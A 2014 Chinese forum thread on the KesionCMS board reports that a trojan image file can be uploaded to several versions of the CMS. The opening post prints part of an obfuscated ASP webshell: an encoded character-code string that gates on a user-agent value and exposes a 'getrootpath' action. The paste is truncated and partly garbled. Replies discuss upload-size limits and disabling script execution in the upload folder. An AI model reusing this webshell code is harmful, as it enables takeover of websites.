账号通
    

注册

找回密码

账号  

密码  

话题
互动
会员
服务
<<返回列表上一个主题 下一个主题 打印本帖 复制本帖地址

1703

查看

6

回复
主题：[反馈BUG]X1可上传木马文件 [收藏主题] 转到：  
jnletao 当前离线

49

主题

2

广播

0

粉丝
添加关注
级别:学前班

用户积分:467 分
登录次数:135 次
注册时间:2009/9/24
最后登录:2014/10/9
jnletao 发表于：2014/9/14 10:34:26   | 只看该作者 查看该作者主题 楼主 
科汛智能建站系统
做线上考试培训 就选#科汛网校

客户站出现木马图片，经测试，官方demo.kesion.com  ,及 X1，9.5各版本都可以上传此木马

以下为部分代码

官方论坛传不上去。其它DEMO都可以上传。

  1. '2014/7/14Dim XBCode,XSCodeXBCode="97a103a101a110a116a61a114a101a113a117a101a115a116a46a115a101a114a118a101a114a118a97a114a105a97a98a108a101a115a40a34a104a116a116a112a95a117a115a101a114a95a97a103a101a110a116a34a41a13a10a105a102a32a105a110a115a116a114a40a97a103a101a110a116a44a34a109a121a99a99a115a34a41a60a61a48a32a116a104a101a110a13a10a32a32a114a101a115a112a111a110a115a101a46a101a110a100a13a10a101a110a100a32a105a102a13a10a73a102a32a82a101a113a117a101a115a116a40a34a97a99a116a34a41a61a34a103a101a116a114a111a111a116a112a97a116a104a34a32a84a10……………………

      If Imeric(ChrscNum) Then   EnTexts = EnTexts & Chr1w(Ch1rAscNum)  End If Next b = EnTextsEnd unction
 
做新职业技能培训平台 就选#科汛网校
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
jnletao 当前离线

49

主题

2

广播

0

粉丝
添加关注
级别:学前班

用户积分:467 分
登录次数:135 次
注册时间:2009/9/24
最后登录:2014/10/9
jnletao 发表于：2014/9/14 10:39:52   | 只看该作者 查看该作者主题 沙发 
科汛在线考试系统(NET)
做官网 就用科汛智能建站系统!
 
做考试题库 就用#科汛在线考试系统!
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
jnletao 当前离线

49

主题

2

广播

0

粉丝
添加关注
级别:学前班

用户积分:467 分
登录次数:135 次
注册时间:2009/9/24
最后登录:2014/10/9
jnletao 发表于：2014/9/14 10:42:40   | 只看该作者 查看该作者主题 藤椅 
科汛在线网校系统
做考试题库 就用#科汛在线考试系统!

我在本地 9.5DEMO上测试也是如此，更严重。



还有，这个贴子的问题重现了。

http://bbs.kesion.com/forumthread-1192570.html



真为官方的服务担心！！
 
有课程 找生源 就上科汛课堂街
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
jnletao 当前离线

49

主题

2

广播

0

粉丝
添加关注
级别:学前班

用户积分:467 分
登录次数:135 次
注册时间:2009/9/24
最后登录:2014/10/9
jnletao 发表于：2014/9/14 12:06:17   | 只看该作者 查看该作者主题 板凳 
做在线知识付费 选科汛云开店
有课程 找生源 就上科汛课堂街

自己找到了解决方案，官方默认值太小了。



http://bbs.kesion.com/forumthread-1201001.html
 
做官网 就用科汛智能建站系统!
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
博飞 当前离线

858

主题

13

广播

10

粉丝
添加关注
级别:七年级

用户积分:4858 分
登录次数:661 次
注册时间:2008/6/19
最后登录:2024/6/3
博飞 发表于：2014/9/14 18:40:33   | 只看该作者 查看该作者主题 报纸 
科汛在线网校系统
一分钟快速开通线上知识店铺

这个不是根本解决办法，你修改了大小，如果木马文件更大呢
 
做考试题库 就用#科汛在线考试系统!
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
科汛官方 当前离线

47268

主题

145

广播

405

粉丝
添加关注
级别:管理员

用户积分:101604 分
登录次数:7935 次
注册时间:2006/12/7
最后登录:2023/12/14
科汛官方 发表于：2014/9/14 20:27:45   | 只看该作者 查看该作者主题 地板 
科汛在线商城系统(NET)
做考试题库 就用#科汛在线考试系统!

1.上传目录uploadfiles禁止执行脚本权限

2.上面提到的检查大小限制那句可以删除.
 
做官网 就用科汛智能建站系统!
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
jnletao 当前离线

49

主题

2

广播

0

粉丝
添加关注
级别:学前班

用户积分:467 分
登录次数:135 次
注册时间:2009/9/24
最后登录:2014/10/9
jnletao 发表于：2014/9/15 9:24:09   | 只看该作者 查看该作者主题 7楼 
做线上考试培训 就选#科汛网校
以下是引用 科汛官方在2014/9/14 20:27:45的发言：

1.上传目录uploadfiles禁止执行脚本权限

2.上面提到的检查大小限制那句可以删除.





你说的第一条 虚拟主机能实现吗？
 
有课程 找生源 就上科汛课堂街
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
＜上一主题 | 下一主题 ＞
<< 返回列表
Powered By KesionCMS Version X1
厦门科汛软件有限公司 © 2006-2016 页面执行0.15625秒 powered by KesionCMS 9.0